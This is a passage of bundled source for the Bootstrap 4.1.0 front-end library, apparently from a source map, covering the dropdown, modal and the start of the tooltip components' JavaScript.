const RIGHT_MOUSE_BUTTON_WHICH = 3 // MouseEvent.which value for the right button (assuming a right-handed mouse)\n  const REGEXP_KEYDOWN           = new RegExp(`${ARROW_UP_KEYCODE}|${ARROW_DOWN_KEYCODE}|${ESCAPE_KEYCODE}`)\n\n  const Event = {\n    HIDE             : `hide${EVENT_KEY}`,\n    HIDDEN           : `hidden${EVENT_KEY}`,\n    SHOW             : `show${EVENT_KEY}`,\n    SHOWN            : `shown${EVENT_KEY}`,\n    CLICK            : `click${EVENT_KEY}`,\n    CLICK_DATA_API   : `click${EVENT_KEY}${DATA_API_KEY}`,\n    KEYDOWN_DATA_API : `keydown${EVENT_KEY}${DATA_API_KEY}`,\n    KEYUP_DATA_API   : `keyup${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    DISABLED  : 'disabled',\n    SHOW      : 'show',\n    DROPUP    : 'dropup',\n    DROPRIGHT : 'dropright',\n    DROPLEFT  : 'dropleft',\n    MENURIGHT : 'dropdown-menu-right',\n    MENULEFT  : 'dropdown-menu-left',\n    POSITION_STATIC : 'position-static'\n  }\n\n  const Selector = {\n    DATA_TOGGLE   : '[data-toggle=\"dropdown\"]',\n    FORM_CHILD    : '.dropdown form',\n    MENU          : '.dropdown-menu',\n    NAVBAR_NAV    : '.navbar-nav',\n    VISIBLE_ITEMS : '.dropdown-menu .dropdown-item:not(.disabled):not(:disabled)'\n  }\n\n  const AttachmentMap = {\n    TOP       : 'top-start',\n    TOPEND    : 'top-end',\n    BOTTOM    : 'bottom-start',\n    BOTTOMEND : 'bottom-end',\n    RIGHT     : 'right-start',\n    RIGHTEND  : 'right-end',\n    LEFT      : 'left-start',\n    LEFTEND   : 'left-end'\n  }\n\n  const Default = {\n    offset      : 0,\n    flip        : true,\n    boundary    : 'scrollParent',\n    reference   : 'toggle',\n    display     : 'dynamic'\n  }\n\n  const DefaultType = {\n    offset      : '(number|string|function)',\n    flip        : 'boolean',\n    boundary    : '(string|element)',\n    reference   : '(string|element)',\n    display     : 'string'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Dropdown {\n    constructor(element, config) {\n      this._element  = element\n      this._popper   = null\n      this._config   = this._getConfig(config)\n      this._menu     = this._getMenuElement()\n      this._inNavbar = this._detectNavbar()\n\n      this._addEventListeners()\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() {\n      return Default\n    }\n\n    static get DefaultType() {\n      return DefaultType\n    }\n\n    // Public\n\n    toggle() {\n      if (this._element.disabled || $(this._element).hasClass(ClassName.DISABLED)) {\n        return\n      }\n\n      const parent   = Dropdown._getParentFromElement(this._element)\n      const isActive = $(this._menu).hasClass(ClassName.SHOW)\n\n      Dropdown._clearMenus()\n\n      if (isActive) {\n        return\n      }\n\n      const relatedTarget = {\n        relatedTarget: this._element\n      }\n      const showEvent = $.Event(Event.SHOW, relatedTarget)\n\n      $(parent).trigger(showEvent)\n\n      if (showEvent.isDefaultPrevented()) {\n        return\n      }\n\n      // Disable totally Popper.js for Dropdown in Navbar\n      if (!this._inNavbar) {\n        /**\n         * Check for Popper dependency\n         * Popper - https://popper.js.org\n         */\n        if (typeof Popper === 'undefined') {\n          throw new TypeError('Bootstrap dropdown require Popper.js (https://popper.js.org)')\n        }\n\n        let referenceElement = this._element\n\n        if (this._config.reference === 'parent') {\n          referenceElement = parent\n        } else if (Util.isElement(this._config.reference)) {\n          referenceElement = this._config.reference\n\n          // Check if it's jQuery element\n          if (typeof this._config.reference.jquery !== 'undefined') {\n            referenceElement = this._config.reference[0]\n          }\n        }\n\n        // If boundary is not `scrollParent`, then set position to `static`\n        // to allow the menu to \"escape\" the scroll parent's boundaries\n        // https://github.com/twbs/bootstrap/issues/24251\n        if (this._config.boundary !== 'scrollParent') {\n          $(parent).addClass(ClassName.POSITION_STATIC)\n        }\n        this._popper = new Popper(referenceElement, this._menu, this._getPopperConfig())\n      }\n\n      // If this is a touch-enabled device we add extra\n      // empty mouseover listeners to the body's immediate children;\n      // only needed because of broken event delegation on iOS\n      // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html\n      if ('ontouchstart' in document.documentElement &&\n         $(parent).closest(Selector.NAVBAR_NAV).length === 0) {\n        $(document.body).children().on('mouseover', null, $.noop)\n      }\n\n      this._element.focus()\n      this._element.setAttribute('aria-expanded', true)\n\n      $(this._menu).toggleClass(ClassName.SHOW)\n      $(parent)\n        .toggleClass(ClassName.SHOW)\n        .trigger($.Event(Event.SHOWN, relatedTarget))\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n      $(this._element).off(EVENT_KEY)\n      this._element = null\n      this._menu = null\n      if (this._popper !== null) {\n        this._popper.destroy()\n        this._popper = null\n      }\n    }\n\n    update() {\n      this._inNavbar = this._detectNavbar()\n      if (this._popper !== null) {\n        this._popper.scheduleUpdate()\n      }\n    }\n\n    // Private\n\n    _addEventListeners() {\n      $(this._element).on(Event.CLICK, (event) => {\n        event.preventDefault()\n        event.stopPropagation()\n        this.toggle()\n      })\n    }\n\n    _getConfig(config) {\n      config = {\n        ...this.constructor.Default,\n        ...$(this._element).data(),\n        ...config\n      }\n\n      Util.typeCheckConfig(\n        NAME,\n        config,\n        this.constructor.DefaultType\n      )\n\n      return config\n    }\n\n    _getMenuElement() {\n      if (!this._menu) {\n        const parent = Dropdown._getParentFromElement(this._element)\n        this._menu = $(parent).find(Selector.MENU)[0]\n      }\n      return this._menu\n    }\n\n    _getPlacement() {\n      const $parentDropdown = $(this._element).parent()\n      let placement = AttachmentMap.BOTTOM\n\n      // Handle dropup\n      if ($parentDropdown.hasClass(ClassName.DROPUP)) {\n        placement = AttachmentMap.TOP\n        if ($(this._menu).hasClass(ClassName.MENURIGHT)) {\n          placement = AttachmentMap.TOPEND\n        }\n      } else if ($parentDropdown.hasClass(ClassName.DROPRIGHT)) {\n        placement = AttachmentMap.RIGHT\n      } else if ($parentDropdown.hasClass(ClassName.DROPLEFT)) {\n        placement = AttachmentMap.LEFT\n      } else if ($(this._menu).hasClass(ClassName.MENURIGHT)) {\n        placement = AttachmentMap.BOTTOMEND\n      }\n      return placement\n    }\n\n    _detectNavbar() {\n      return $(this._element).closest('.navbar').length > 0\n    }\n\n    _getPopperConfig() {\n      const offsetConf = {}\n      if (typeof this._config.offset === 'function') {\n        offsetConf.fn = (data) => {\n          data.offsets = {\n            ...data.offsets,\n            ...this._config.offset(data.offsets) || {}\n          }\n          return data\n        }\n      } else {\n        offsetConf.offset = this._config.offset\n      }\n      const popperConfig = {\n        placement: this._getPlacement(),\n        modifiers: {\n          offset: offsetConf,\n          flip: {\n            enabled: this._config.flip\n          },\n          preventOverflow: {\n            boundariesElement: this._config.boundary\n          }\n        }\n      }\n\n      // Disable Popper.js if we have a static display\n      if (this._config.display === 'static') {\n        popperConfig.modifiers.applyStyle = {\n          enabled: false\n        }\n      }\n      return popperConfig\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n        const _config = typeof config === 'object' ? config : null\n\n        if (!data) {\n          data = new Dropdown(this, _config)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config]()\n        }\n      })\n    }\n\n    static _clearMenus(event) {\n      if (event && (event.which === RIGHT_MOUSE_BUTTON_WHICH ||\n        event.type === 'keyup' && event.which !== TAB_KEYCODE)) {\n        return\n      }\n\n      const toggles = $.makeArray($(Selector.DATA_TOGGLE))\n      for (let i = 0; i < toggles.length; i++) {\n        const parent = Dropdown._getParentFromElement(toggles[i])\n        const context = $(toggles[i]).data(DATA_KEY)\n        const relatedTarget = {\n          relatedTarget: toggles[i]\n        }\n\n        if (!context) {\n          continue\n        }\n\n        const dropdownMenu = context._menu\n        if (!$(parent).hasClass(ClassName.SHOW)) {\n          continue\n        }\n\n        if (event && (event.type === 'click' &&\n            /input|textarea/i.test(event.target.tagName) || event.type === 'keyup' && event.which === TAB_KEYCODE) &&\n            $.contains(parent, event.target)) {\n          continue\n        }\n\n        const hideEvent = $.Event(Event.HIDE, relatedTarget)\n        $(parent).trigger(hideEvent)\n        if (hideEvent.isDefaultPrevented()) {\n          continue\n        }\n\n        // If this is a touch-enabled device we remove the extra\n        // empty mouseover listeners we added for iOS support\n        if ('ontouchstart' in document.documentElement) {\n          $(document.body).children().off('mouseover', null, $.noop)\n        }\n\n        toggles[i].setAttribute('aria-expanded', 'false')\n\n        $(dropdownMenu).removeClass(ClassName.SHOW)\n        $(parent)\n          .removeClass(ClassName.SHOW)\n          .trigger($.Event(Event.HIDDEN, relatedTarget))\n      }\n    }\n\n    static _getParentFromElement(element) {\n      let parent\n      const selector = Util.getSelectorFromElement(element)\n\n      if (selector) {\n        parent = $(selector)[0]\n      }\n\n      return parent || element.parentNode\n    }\n\n    // eslint-disable-next-line complexity\n    static _dataApiKeydownHandler(event) {\n      // If not input/textarea:\n      //  - And not a key in REGEXP_KEYDOWN => not a dropdown command\n      // If input/textarea:\n      //  - If space key => not a dropdown command\n      //  - If key is other than escape\n      //    - If key is not up or down => not a dropdown command\n      //    - If trigger inside the menu => not a dropdown command\n      if (/input|textarea/i.test(event.target.tagName)\n        ? event.which === SPACE_KEYCODE || event.which !== ESCAPE_KEYCODE &&\n        (event.which !== ARROW_DOWN_KEYCODE && event.which !== ARROW_UP_KEYCODE ||\n          $(event.target).closest(Selector.MENU).length) : !REGEXP_KEYDOWN.test(event.which)) {\n        return\n      }\n\n      event.preventDefault()\n      event.stopPropagation()\n\n      if (this.disabled || $(this).hasClass(ClassName.DISABLED)) {\n        return\n      }\n\n      const parent   = Dropdown._getParentFromElement(this)\n      const isActive = $(parent).hasClass(ClassName.SHOW)\n\n      if (!isActive && (event.which !== ESCAPE_KEYCODE || event.which !== SPACE_KEYCODE) ||\n           isActive && (event.which === ESCAPE_KEYCODE || event.which === SPACE_KEYCODE)) {\n        if (event.which === ESCAPE_KEYCODE) {\n          const toggle = $(parent).find(Selector.DATA_TOGGLE)[0]\n          $(toggle).trigger('focus')\n        }\n\n        $(this).trigger('click')\n        return\n      }\n\n      const items = $(parent).find(Selector.VISIBLE_ITEMS).get()\n\n      if (items.length === 0) {\n        return\n      }\n\n      let index = items.indexOf(event.target)\n\n      if (event.which === ARROW_UP_KEYCODE && index > 0) { // Up\n        index--\n      }\n\n      if (event.which === ARROW_DOWN_KEYCODE && index < items.length - 1) { // Down\n        index++\n      }\n\n      if (index < 0) {\n        index = 0\n      }\n\n      items[index].focus()\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document)\n    .on(Event.KEYDOWN_DATA_API, Selector.DATA_TOGGLE, Dropdown._dataApiKeydownHandler)\n    .on(Event.KEYDOWN_DATA_API, Selector.MENU, Dropdown._dataApiKeydownHandler)\n    .on(`${Event.CLICK_DATA_API} ${Event.KEYUP_DATA_API}`, Dropdown._clearMenus)\n    .on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n      event.preventDefault()\n      event.stopPropagation()\n      Dropdown._jQueryInterface.call($(this), 'toggle')\n    })\n    .on(Event.CLICK_DATA_API, Selector.FORM_CHILD, (e) => {\n      e.stopPropagation()\n    })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Dropdown._jQueryInterface\n  $.fn[NAME].Constructor = Dropdown\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Dropdown._jQueryInterface\n  }\n\n  return Dropdown\n})($, Popper)\n\nexport default Dropdown\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): modal.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Modal = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME               = 'modal'\n  const VERSION            = '4.1.0'\n  const DATA_KEY           = 'bs.modal'\n  const EVENT_KEY          = `.${DATA_KEY}`\n  const DATA_API_KEY       = '.data-api'\n  const JQUERY_NO_CONFLICT = $.fn[NAME]\n  const ESCAPE_KEYCODE     = 27 // KeyboardEvent.which value for Escape (Esc) key\n\n  const Default = {\n    backdrop : true,\n    keyboard : true,\n    focus    : true,\n    show     : true\n  }\n\n  const DefaultType = {\n    backdrop : '(boolean|string)',\n    keyboard : 'boolean',\n    focus    : 'boolean',\n    show     : 'boolean'\n  }\n\n  const Event = {\n    HIDE              : `hide${EVENT_KEY}`,\n    HIDDEN            : `hidden${EVENT_KEY}`,\n    SHOW              : `show${EVENT_KEY}`,\n    SHOWN             : `shown${EVENT_KEY}`,\n    FOCUSIN           : `focusin${EVENT_KEY}`,\n    RESIZE            : `resize${EVENT_KEY}`,\n    CLICK_DISMISS     : `click.dismiss${EVENT_KEY}`,\n    KEYDOWN_DISMISS   : `keydown.dismiss${EVENT_KEY}`,\n    MOUSEUP_DISMISS   : `mouseup.dismiss${EVENT_KEY}`,\n    MOUSEDOWN_DISMISS : `mousedown.dismiss${EVENT_KEY}`,\n    CLICK_DATA_API    : `click${EVENT_KEY}${DATA_API_KEY}`\n  }\n\n  const ClassName = {\n    SCROLLBAR_MEASURER : 'modal-scrollbar-measure',\n    BACKDROP           : 'modal-backdrop',\n    OPEN               : 'modal-open',\n    FADE               : 'fade',\n    SHOW               : 'show'\n  }\n\n  const Selector = {\n    DIALOG             : '.modal-dialog',\n    DATA_TOGGLE        : '[data-toggle=\"modal\"]',\n    DATA_DISMISS       : '[data-dismiss=\"modal\"]',\n    FIXED_CONTENT      : '.fixed-top, .fixed-bottom, .is-fixed, .sticky-top',\n    STICKY_CONTENT     : '.sticky-top',\n    NAVBAR_TOGGLER     : '.navbar-toggler'\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Modal {\n    constructor(element, config) {\n      this._config              = this._getConfig(config)\n      this._element             = element\n      this._dialog              = $(element).find(Selector.DIALOG)[0]\n      this._backdrop            = null\n      this._isShown             = false\n      this._isBodyOverflowing   = false\n      this._ignoreBackdropClick = false\n      this._scrollbarWidth      = 0\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() {\n      return Default\n    }\n\n    // Public\n\n    toggle(relatedTarget) {\n      return this._isShown ? this.hide() : this.show(relatedTarget)\n    }\n\n    show(relatedTarget) {\n      if (this._isTransitioning || this._isShown) {\n        return\n      }\n\n      if ($(this._element).hasClass(ClassName.FADE)) {\n        this._isTransitioning = true\n      }\n\n      const showEvent = $.Event(Event.SHOW, {\n        relatedTarget\n      })\n\n      $(this._element).trigger(showEvent)\n\n      if (this._isShown || showEvent.isDefaultPrevented()) {\n        return\n      }\n\n      this._isShown = true\n\n      this._checkScrollbar()\n      this._setScrollbar()\n\n      this._adjustDialog()\n\n      $(document.body).addClass(ClassName.OPEN)\n\n      this._setEscapeEvent()\n      this._setResizeEvent()\n\n      $(this._element).on(\n        Event.CLICK_DISMISS,\n        Selector.DATA_DISMISS,\n        (event) => this.hide(event)\n      )\n\n      $(this._dialog).on(Event.MOUSEDOWN_DISMISS, () => {\n        $(this._element).one(Event.MOUSEUP_DISMISS, (event) => {\n          if ($(event.target).is(this._element)) {\n            this._ignoreBackdropClick = true\n          }\n        })\n      })\n\n      this._showBackdrop(() => this._showElement(relatedTarget))\n    }\n\n    hide(event) {\n      if (event) {\n        event.preventDefault()\n      }\n\n      if (this._isTransitioning || !this._isShown) {\n        return\n      }\n\n      const hideEvent = $.Event(Event.HIDE)\n\n      $(this._element).trigger(hideEvent)\n\n      if (!this._isShown || hideEvent.isDefaultPrevented()) {\n        return\n      }\n\n      this._isShown = false\n      const transition = $(this._element).hasClass(ClassName.FADE)\n\n      if (transition) {\n        this._isTransitioning = true\n      }\n\n      this._setEscapeEvent()\n      this._setResizeEvent()\n\n      $(document).off(Event.FOCUSIN)\n\n      $(this._element).removeClass(ClassName.SHOW)\n\n      $(this._element).off(Event.CLICK_DISMISS)\n      $(this._dialog).off(Event.MOUSEDOWN_DISMISS)\n\n\n      if (transition) {\n        const transitionDuration  = Util.getTransitionDurationFromElement(this._element)\n\n        $(this._element)\n          .one(Util.TRANSITION_END, (event) => this._hideModal(event))\n          .emulateTransitionEnd(transitionDuration)\n      } else {\n        this._hideModal()\n      }\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n\n      $(window, document, this._element, this._backdrop).off(EVENT_KEY)\n\n      this._config              = null\n      this._element             = null\n      this._dialog              = null\n      this._backdrop            = null\n      this._isShown             = null\n      this._isBodyOverflowing   = null\n      this._ignoreBackdropClick = null\n      this._scrollbarWidth      = null\n    }\n\n    handleUpdate() {\n      this._adjustDialog()\n    }\n\n    // Private\n\n    _getConfig(config) {\n      config = {\n        ...Default,\n        ...config\n      }\n      Util.typeCheckConfig(NAME, config, DefaultType)\n      return config\n    }\n\n    _showElement(relatedTarget) {\n      const transition = $(this._element).hasClass(ClassName.FADE)\n\n      if (!this._element.parentNode ||\n         this._element.parentNode.nodeType !== Node.ELEMENT_NODE) {\n        // Don't move modal's DOM position\n        document.body.appendChild(this._element)\n      }\n\n      this._element.style.display = 'block'\n      this._element.removeAttribute('aria-hidden')\n      this._element.scrollTop = 0\n\n      if (transition) {\n        Util.reflow(this._element)\n      }\n\n      $(this._element).addClass(ClassName.SHOW)\n\n      if (this._config.focus) {\n        this._enforceFocus()\n      }\n\n      const shownEvent = $.Event(Event.SHOWN, {\n        relatedTarget\n      })\n\n      const transitionComplete = () => {\n        if (this._config.focus) {\n          this._element.focus()\n        }\n        this._isTransitioning = false\n        $(this._element).trigger(shownEvent)\n      }\n\n      if (transition) {\n        const transitionDuration  = Util.getTransitionDurationFromElement(this._element)\n\n        $(this._dialog)\n          .one(Util.TRANSITION_END, transitionComplete)\n          .emulateTransitionEnd(transitionDuration)\n      } else {\n        transitionComplete()\n      }\n    }\n\n    _enforceFocus() {\n      $(document)\n        .off(Event.FOCUSIN) // Guard against infinite focus loop\n        .on(Event.FOCUSIN, (event) => {\n          if (document !== event.target &&\n              this._element !== event.target &&\n              $(this._element).has(event.target).length === 0) {\n            this._element.focus()\n          }\n        })\n    }\n\n    _setEscapeEvent() {\n      if (this._isShown && this._config.keyboard) {\n        $(this._element).on(Event.KEYDOWN_DISMISS, (event) => {\n          if (event.which === ESCAPE_KEYCODE) {\n            event.preventDefault()\n            this.hide()\n          }\n        })\n      } else if (!this._isShown) {\n        $(this._element).off(Event.KEYDOWN_DISMISS)\n      }\n    }\n\n    _setResizeEvent() {\n      if (this._isShown) {\n        $(window).on(Event.RESIZE, (event) => this.handleUpdate(event))\n      } else {\n        $(window).off(Event.RESIZE)\n      }\n    }\n\n    _hideModal() {\n      this._element.style.display = 'none'\n      this._element.setAttribute('aria-hidden', true)\n      this._isTransitioning = false\n      this._showBackdrop(() => {\n        $(document.body).removeClass(ClassName.OPEN)\n        this._resetAdjustments()\n        this._resetScrollbar()\n        $(this._element).trigger(Event.HIDDEN)\n      })\n    }\n\n    _removeBackdrop() {\n      if (this._backdrop) {\n        $(this._backdrop).remove()\n        this._backdrop = null\n      }\n    }\n\n    _showBackdrop(callback) {\n      const animate = $(this._element).hasClass(ClassName.FADE)\n        ? ClassName.FADE : ''\n\n      if (this._isShown && this._config.backdrop) {\n        this._backdrop = document.createElement('div')\n        this._backdrop.className = ClassName.BACKDROP\n\n        if (animate) {\n          $(this._backdrop).addClass(animate)\n        }\n\n        $(this._backdrop).appendTo(document.body)\n\n        $(this._element).on(Event.CLICK_DISMISS, (event) => {\n          if (this._ignoreBackdropClick) {\n            this._ignoreBackdropClick = false\n            return\n          }\n          if (event.target !== event.currentTarget) {\n            return\n          }\n          if (this._config.backdrop === 'static') {\n            this._element.focus()\n          } else {\n            this.hide()\n          }\n        })\n\n        if (animate) {\n          Util.reflow(this._backdrop)\n        }\n\n        $(this._backdrop).addClass(ClassName.SHOW)\n\n        if (!callback) {\n          return\n        }\n\n        if (!animate) {\n          callback()\n          return\n        }\n\n        const backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop)\n\n        $(this._backdrop)\n          .one(Util.TRANSITION_END, callback)\n          .emulateTransitionEnd(backdropTransitionDuration)\n      } else if (!this._isShown && this._backdrop) {\n        $(this._backdrop).removeClass(ClassName.SHOW)\n\n        const callbackRemove = () => {\n          this._removeBackdrop()\n          if (callback) {\n            callback()\n          }\n        }\n\n        if ($(this._element).hasClass(ClassName.FADE)) {\n          const backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop)\n\n          $(this._backdrop)\n            .one(Util.TRANSITION_END, callbackRemove)\n            .emulateTransitionEnd(backdropTransitionDuration)\n        } else {\n          callbackRemove()\n        }\n      } else if (callback) {\n        callback()\n      }\n    }\n\n    // ----------------------------------------------------------------------\n    // the following methods are used to handle overflowing modals\n    // todo (fat): these should probably be refactored out of modal.js\n    // ----------------------------------------------------------------------\n\n    _adjustDialog() {\n      const isModalOverflowing =\n        this._element.scrollHeight > document.documentElement.clientHeight\n\n      if (!this._isBodyOverflowing && isModalOverflowing) {\n        this._element.style.paddingLeft = `${this._scrollbarWidth}px`\n      }\n\n      if (this._isBodyOverflowing && !isModalOverflowing) {\n        this._element.style.paddingRight = `${this._scrollbarWidth}px`\n      }\n    }\n\n    _resetAdjustments() {\n      this._element.style.paddingLeft = ''\n      this._element.style.paddingRight = ''\n    }\n\n    _checkScrollbar() {\n      const rect = document.body.getBoundingClientRect()\n      this._isBodyOverflowing = rect.left + rect.right < window.innerWidth\n      this._scrollbarWidth = this._getScrollbarWidth()\n    }\n\n    _setScrollbar() {\n      if (this._isBodyOverflowing) {\n        // Note: DOMNode.style.paddingRight returns the actual value or '' if not set\n        //   while $(DOMNode).css('padding-right') returns the calculated value or 0 if not set\n\n        // Adjust fixed content padding\n        $(Selector.FIXED_CONTENT).each((index, element) => {\n          const actualPadding = $(element)[0].style.paddingRight\n          const calculatedPadding = $(element).css('padding-right')\n          $(element).data('padding-right', actualPadding).css('padding-right', `${parseFloat(calculatedPadding) + this._scrollbarWidth}px`)\n        })\n\n        // Adjust sticky content margin\n        $(Selector.STICKY_CONTENT).each((index, element) => {\n          const actualMargin = $(element)[0].style.marginRight\n          const calculatedMargin = $(element).css('margin-right')\n          $(element).data('margin-right', actualMargin).css('margin-right', `${parseFloat(calculatedMargin) - this._scrollbarWidth}px`)\n        })\n\n        // Adjust navbar-toggler margin\n        $(Selector.NAVBAR_TOGGLER).each((index, element) => {\n          const actualMargin = $(element)[0].style.marginRight\n          const calculatedMargin = $(element).css('margin-right')\n          $(element).data('margin-right', actualMargin).css('margin-right', `${parseFloat(calculatedMargin) + this._scrollbarWidth}px`)\n        })\n\n        // Adjust body padding\n        const actualPadding = document.body.style.paddingRight\n        const calculatedPadding = $(document.body).css('padding-right')\n        $(document.body).data('padding-right', actualPadding).css('padding-right', `${parseFloat(calculatedPadding) + this._scrollbarWidth}px`)\n      }\n    }\n\n    _resetScrollbar() {\n      // Restore fixed content padding\n      $(Selector.FIXED_CONTENT).each((index, element) => {\n        const padding = $(element).data('padding-right')\n        if (typeof padding !== 'undefined') {\n          $(element).css('padding-right', padding).removeData('padding-right')\n        }\n      })\n\n      // Restore sticky content and navbar-toggler margin\n      $(`${Selector.STICKY_CONTENT}, ${Selector.NAVBAR_TOGGLER}`).each((index, element) => {\n        const margin = $(element).data('margin-right')\n        if (typeof margin !== 'undefined') {\n          $(element).css('margin-right', margin).removeData('margin-right')\n        }\n      })\n\n      // Restore body padding\n      const padding = $(document.body).data('padding-right')\n      if (typeof padding !== 'undefined') {\n        $(document.body).css('padding-right', padding).removeData('padding-right')\n      }\n    }\n\n    _getScrollbarWidth() { // thx d.walsh\n      const scrollDiv = document.createElement('div')\n      scrollDiv.className = ClassName.SCROLLBAR_MEASURER\n      document.body.appendChild(scrollDiv)\n      const scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth\n      document.body.removeChild(scrollDiv)\n      return scrollbarWidth\n    }\n\n    // Static\n\n    static _jQueryInterface(config, relatedTarget) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n        const _config = {\n          ...Modal.Default,\n          ...$(this).data(),\n          ...typeof config === 'object' && config\n        }\n\n        if (!data) {\n          data = new Modal(this, _config)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config](relatedTarget)\n        } else if (_config.show) {\n          data.show(relatedTarget)\n        }\n      })\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n    let target\n    const selector = Util.getSelectorFromElement(this)\n\n    if (selector) {\n      target = $(selector)[0]\n    }\n\n    const config = $(target).data(DATA_KEY)\n      ? 'toggle' : {\n        ...$(target).data(),\n        ...$(this).data()\n      }\n\n    if (this.tagName === 'A' || this.tagName === 'AREA') {\n      event.preventDefault()\n    }\n\n    const $target = $(target).one(Event.SHOW, (showEvent) => {\n      if (showEvent.isDefaultPrevented()) {\n        // Only register focus restorer if modal will actually get shown\n        return\n      }\n\n      $target.one(Event.HIDDEN, () => {\n        if ($(this).is(':visible')) {\n          this.focus()\n        }\n      })\n    })\n\n    Modal._jQueryInterface.call($(target), config, this)\n  })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Modal._jQueryInterface\n  $.fn[NAME].Constructor = Modal\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Modal._jQueryInterface\n  }\n\n  return Modal\n})($)\n\nexport default Modal\n","import $ from 'jquery'\nimport Popper from 'popper.js'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): tooltip.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Tooltip = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME               = 'tooltip'\n  const VERSION            = '4.1.0'\n  const DATA_KEY           = 'bs.tooltip'\n  const EVENT_KEY          = `.${DATA_KEY}`\n  const JQUERY_NO_CONFLICT = $.fn[NAME]\n  const CLASS_PREFIX       = 'bs-tooltip'\n  const BSCLS_PREFIX_REGEX = new RegExp(`(^|\\\\s)${CLASS_PREFIX}\\\\S+`, 'g')\n\n  const DefaultType = {\n    animation           : 'boolean',\n    template            : 'string',\n    title               : '(string|element|function)',\n    trigger             : 'string',\n    delay               : '(number|object)',\n    html                : 'boolean',\n    selector            : '(string|boolean)',\n    placement           : '(string|function)',\n    offset              : '(number|string)',\n    container           : '(string|element|boolean)',\n    fallbackPlacement   : '(string|array)',\n    boundary            : '(string|element)'\n  }\n\n  const AttachmentMap = {\n    AUTO   : 'auto',\n    TOP    : 'top',\n    RIGHT  : 'right',\n    BOTTOM : 'bottom',\n    LEFT   : 'left'\n  }\n\n  const Default = {\n    animation           : true,\n    template            : '<div class=\"tooltip\" role=\"tooltip\">' +\n                        '<div class=\"arrow\"></div>' +\n                        '<div class=\"tooltip-inner\"></div></div>',\n    trigger             : 'hover focus',\n    title               : '',\n    delay               : 0,\n    html                : false,\n    selector            : false,\n    placement           : 'top',\n    offset              : 0,\n    container           : false,\n    fallbackPlacement   : 'flip',\n    boundary            : 'scrollParent'\n  }\n\n  const HoverState = {\n    SHOW : 'show',\n    OUT  : 'out'\n  }\n\n  const Event = {\n    HIDE       : `hide${EVENT_KEY}`,\n    HIDDEN     : `hidden${EVENT_KEY}`,\n    SHOW       : `show${EVENT_KEY}`,\n    SHOWN      : `shown${EVENT_KEY}`,\n    INSERTED   : `inserted${EVENT_KEY}`,\n    CLICK      : `click${EVENT_KEY}`,\n    FOCUSIN    : `focusin${EVENT_KEY}`,\n    FOCUSOUT   : `focusout${EVENT_KEY}`,\n    MOUSEENTER : `mouseenter${EVENT_KEY}`,\n    MOUSELEAVE : `mouseleave${EVENT_KEY}`\n  }\n\n  const ClassName = {\n    FADE : 'fade',\n    SHOW : 'show'\n  }\n\n  const Selector = {\n    TOOLTIP       : '.tooltip',\n    TOOLTIP_INNER : '.tooltip-inner',\n    ARROW         : '.arrow'\n  }\n\n  const Trigger = {\n    HOVER  : 'hover',\n    FOCUS  : 'focus',\n    CLICK  : 'click',\n    MANUAL : 'manual'\n  }\n\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Tooltip {\n    constructor(element, config) {\n      /**\n       * Check for Popper dependency\n       * Popper - https://popper.js.org\n       */\n      if (typeof Popper === 'undefined') {\n        throw new TypeError('Bootstrap tooltips require Popper.js (https://popper.js.org)')\n      }\n\n      // private\n      this._isEnabled     = true\n      this._timeout       = 0\n      this._hoverState    = ''\n      this._activeTrigger = {}\n      this._popper        = null\n\n      // Protected\n      this.element = element\n      this.config  = this._getConfig(config)\n      this.tip     = null\n\n      this._setListeners()\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() 